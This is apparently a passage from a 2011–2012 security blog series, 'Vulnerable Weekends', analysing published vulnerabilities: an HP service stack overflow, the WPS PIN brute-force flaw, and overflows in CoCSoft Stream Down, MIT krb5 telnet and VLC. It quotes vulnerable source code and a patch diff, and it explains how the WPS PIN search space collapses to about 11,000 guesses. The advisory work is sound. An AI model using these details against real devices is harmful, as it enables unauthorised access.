The vulnerability exists due to an implementation flaw within the affected software. The vulnerable component listens for incoming requests on TCP/23472 and it expects a size value within the first 32bits of user-supplied input. This value is used as-is, without any sanitization, for internal calculations that involve deriving the number of bytes to be copied in to a destination buffer. Due to the insufficient checks, a 32bit value of 0x00000000 could cause an error within the internal calculation logic and trigger a stack-based buffer overflow during a later copy operation. This action could allow a remote attacker to execute arbitrary code with SYSTEM privileges on the targeted system.

HP has confirmed this vulnerability and released a security patch for registered users.

Vulnerability Sources:
Bugtraq ID: 51398
HP Security Bulletin: HPSBMU02785 SSRT100526
Metasploit Module: hp_magentservice
Zero Day Initiative: ZDI-12-016

Generic Sources:
Common Vulnerabilities and Exposures (CVE)
Common Vulnerability Scoring System (CVSS)

Sunday, January 1, 2012

Vulnerable Weekends #6

Introduction:
Report #6A analyzes the WPS implementation flaw that allows brute force guessing of the 8 digit PIN used to restrict wireless access to authenticated users.

Report #6B analyzes the memory corruption vulnerability in the CoCSoft Stream Down that could allow execution of arbitrary code on the targeted system.

Vulnerability Report #6A: Multiple WPS Implementations Brute Force Authentication Bypass Vulnerability

Vulnerable Product: Installations of WPS enabled wireless devices

CVE ID: CVE-2011-5053

CVSS v2 Score:
Access Vector: NETWORK
Access Complexity: MEDIUM
Authentication: NONE

Confidentiality Impact: COMPLETE
Integrity Impact: COMPLETE
Availability Impact: COMPLETE
Base Score: 9.3

Exploitability: FUNCTIONAL
Remediation Level: WORKAROUND
Report Confidence: CONFIRMED
Temporal Score: 8.4

Details:
Multiple WiFi Protected Setup (WPS) implementations were reported to contain a vulnerability that could be leveraged to bypass authentication checks and gain privileged access to the targeted wireless devices. The vulnerability has been identified within the WPS specification and it enables brute force detection of the PIN used to authenticate a remote wireless user.

The vulnerability exists because the WPS specification allows a remote attacker to guess the 8 digit PIN being used to authenticate remote wireless users. The first 4 digits of this PIN could be guessed by attempting multiple connections to the wireless AP with incorrect PIN values and analyzing the received EAP-NACK responses.

The EAP-NACK messages provide information that could be leveraged to successfully calculate the first and second halves of the 8 digit PIN being used. The number of brute force attempts to guess the PIN is also reduced because the 8th digit of this PIN is always a checksum which can be easily derived. This analysis brings the total number of brute force attempts to be 104 + 103; i.e 11,000 attempts to successfully calculate the WPS PIN for the targeted AP.

Since most vendors, except for Netgear, do not implement a lock down functionality for blocking such brute force attempts, the time complexity to successfully execute this attack is reduced significantly. On some implementation the overhead of processing such rapid surge of authentication requests leads to an internal state corruption, which could only be recovered via a device reboot. This makes it possible to launch denial of service (DoS) attacks on the targeted AP.

Vulnerability Sources:
http://www.securityfocus.com/bid/51187
http://sviehb.wordpress.com/2011/12/27/wi-fi-protected-setup-pin-brute-force-vulnerability/


Vulnerability Report #6B: CoCSoft Sream Down Insufficient Boundary Checks Buffer Overflow Vulnerability

Vulnerable Product: Installations of CoCSoft Stream Down with versions 6.8 and prior

CVE ID: CVE-2011-5052

CVSS v2 Score:
Access Vector: NETWORK
Access Complexity: LOW
Authentication: NONE

Confidentiality Impact: PARTIAL
Integrity Impact: PARTIAL
Availability Impact: PARTIAL
Base Score: 7.5

Exploitability: FUNCTIONAL
Remediation Level: UNAVAILABLE
Report Confidence: UNCORROBORATED
Temporal Score: 6.8

Details:
CoCSoft Stream Down media download application is prone to a buffer overflow vulnerability that could be leveraged to execute remote code or to cause a denial of service condition on the targeted system.

The vulnerable application fails to impose sufficient size limits on user-supplied input before copying it to a fixed length destination buffer. This implementation flaw could allow injection of arbitrary shellcode into the targeted system's memory space, leading to a memory corruption error. Later execution of this shellcode could allow the attacker to launch additional attacks on the targeted system.

CoCSoft has not yet confirmed this vulnerability. Users are advised to immediately stop using the vulnerable application.

Vulnerability Sources:
http://www.securityfocus.com/bid/51190/


Generic Sources:
http://cve.mitre.org
http://www.first.org/cvss/cvss-guide.html
http://nvd.nist.gov/cvss.cfm?calculator&adv&version=2

Saturday, December 24, 2011

Vulnerable Weekends #5

Introduction:
Report #5A analyzes the MIT Kerberos Telnet remote, privileged code execution vulnerability. This vulnerability has been identified within the MIT Kerberos based Telnet installations that are provided with FreeBSD, GNU inetutils, etc.

Report #5B analyzes the VLC TiVo file parser arbitrary code execution vulnerability.

Vulnerability Report #5A: MIT krb5-appl Telnet Client and Server encrypt_keyid() Remote Code Execution Vulnerability

Vulnerable Product: Installations of MIT krb5-appl derived telnet utilities prior to krb5-1.8

CVE ID: CVE-2011-4862

CVSS v2 Score:
Access Vector: NETWORK
Access Complexity: LOW
Authentication: NONE

Confidentiality Impact: COMPLETE
Integrity Impact: COMPLETE
Availability Impact: COMPLETE
Base Score: 10.0

Exploitability: FUNCTIONAL
Remediation Level: OFFICIAL FIX
Report Confidence: CONFIRMED
Temporal Score: 8.3

Details:
MIT krb5-appl has been reported to contain a vulnerability that could be leveraged by a remote attacker to execute arbitrary code on the targeted system.  The vulnerability has been reported in the code responsible for handling Kerberos based authentication mechanism.

The vulnerability was introduced when BSD telnet daemon and client utilities included support for cryptographic security via MIT Kerberos based authentication mechanism. This code was further included within FreeBSD and GNU inetutils making these vulnerable as well.

The vulnerability allows a pre-authentication memory corruption error that could be triggered remotely by submitting an arbitrarily long encryption key to the target system. Specifically, the vulnerability exists within the encrypt_keyid() function of the encrypt.c source file of the affected software:

static void
encrypt_keyid(struct key_info *kp, unsigned char *keyid, int len)
{
   ...
    } else if ((len != kp->keylen) || (memcmp(keyid,kp->keyid,len) != 0)) {
    /*
     * Length or contents are different
     */
    kp->keylen = len;
    memcpy(kp->keyid,keyid, len);
    if (ep->keyid)
        (void)(*ep->keyid)(dir, kp->keyid, &kp->keylen);
    ...
}

The vulnerable source file defines the following structure to keep record of the encryption state:

#define   MAXKEYLEN 64

static struct key_info {
    unsigned char keyid[MAXKEYLEN];
    int keylen;
    int dir;
    int *modep;
    Encryptions *(*getcrypt)();
} ki[2] = {
    { { 0 }, 0, DIR_ENCRYPT, &encrypt_mode, findencryption },
    { { 0 }, 0, DIR_DECRYPT, &decrypt_mode, finddecryption },
};

However, the vulnerable function fails to impose sufficient boundary restrictions on user-supplied encryption keys and copies those into keyinfo structure without honoring the MAXKEYLEN constant via a memcpy operation. This could cause a heap-based buffer overflow error, leading to the memory corruption error.

Successful exploitation could allow the attacker to leverage the memory corruption error to execute arbitrary code on the targeted system with the privileges of the affected software. Failed exploit attempts could result in a denial of service condition on the targeted system.

Vulnerability Sources:
http://www.securityfocus.com/bid/51182
http://web.mit.edu/kerberos/advisories/MITKRB5-SA-2011-008.txt
http://security.freebsd.org/advisories/FreeBSD-SA-11:08.telnetd.asc
https://bugzilla.redhat.com/show_bug.cgi?id=770325
http://osvdb.org/78020


Vulnerability Report #5B: VLC .TY (TiVo) File Parser Arbitrary Code Execution Vulnerability

Vulnerable Product: Installations of VLC Media Player with versions 0.9.0 through 1.1.12

CVE ID: NA

CVSS v2 Score:
Access Vector: NETWORK
Access Complexity: MEDIUM
Authentication: NONE

Confidentiality Impact: COMPLETE
Integrity Impact: COMPLETE
Availability Impact: COMPLETE
Base Score: 9.3

Exploitability: UNPROVEN
Remediation Level: OFFICIAL FIX
Report Confidence: CONFIRMED
Temporal Score:6.9

Details:
VLC Media Player has been reported to contain a vulnerability that could allow a remote attacker to execute arbitrary code on the targeted system. The vulnerability is introduced by the libty_plugin that helps parsing of .ty files.

struct demux_sys_t
{
...
ty_rec_hdr_t    *rec_hdrs;          /* record headers array */
int             i_cur_rec;          /* current record in this chunk */
int             i_num_recs;         /* number of recs in this chunk */
...
};

The vulnerability exists due to an implementation flaw within the get_chunk_header() function of the ty.c source file of the vulnerable plugin. The vulnerable plugin improperly handles the record headers array, rec_hdrs, corrupting heap structures in the memory.

diff --git a/modules/demux/ty.c b/modules/demux/ty.c
index e916b41..b181a6a 100644 (file)

--- a/modules/demux/ty.c
+++ b/modules/demux/ty.c
@@ -1887,6 +1887,7 @@ static int get_chunk_header(demux_t *p_demux)
     /*msg_Dbg( p_demux, "chunk has %d records", i_num_recs );*/

     free(p_sys->rec_hdrs);
+    p_sys->rec_hdrs = NULL;
     /* skip past the 4 bytes we "peeked" earlier */
     stream_Read( p_demux->s, NULL, 4 );

Successful exploitation could allow the attacker to leverage the memory corruption error further and execute arbitrary code on the targeted system within the security context of the affected software.

Vulnerability Sources:
http://www.securityfocus.com/bid/51147
http://www.videolan.org/security/sa1108.html
http://git.videolan.org/?p=vlc.git;a=blobdiff;f=modules/demux/


Generic Sources:
http://cve.mitre.org
http://www.first.org/cvss/cvss-guide.html
http://nvd.nist.gov/cvss.cfm?calculator&adv&version=2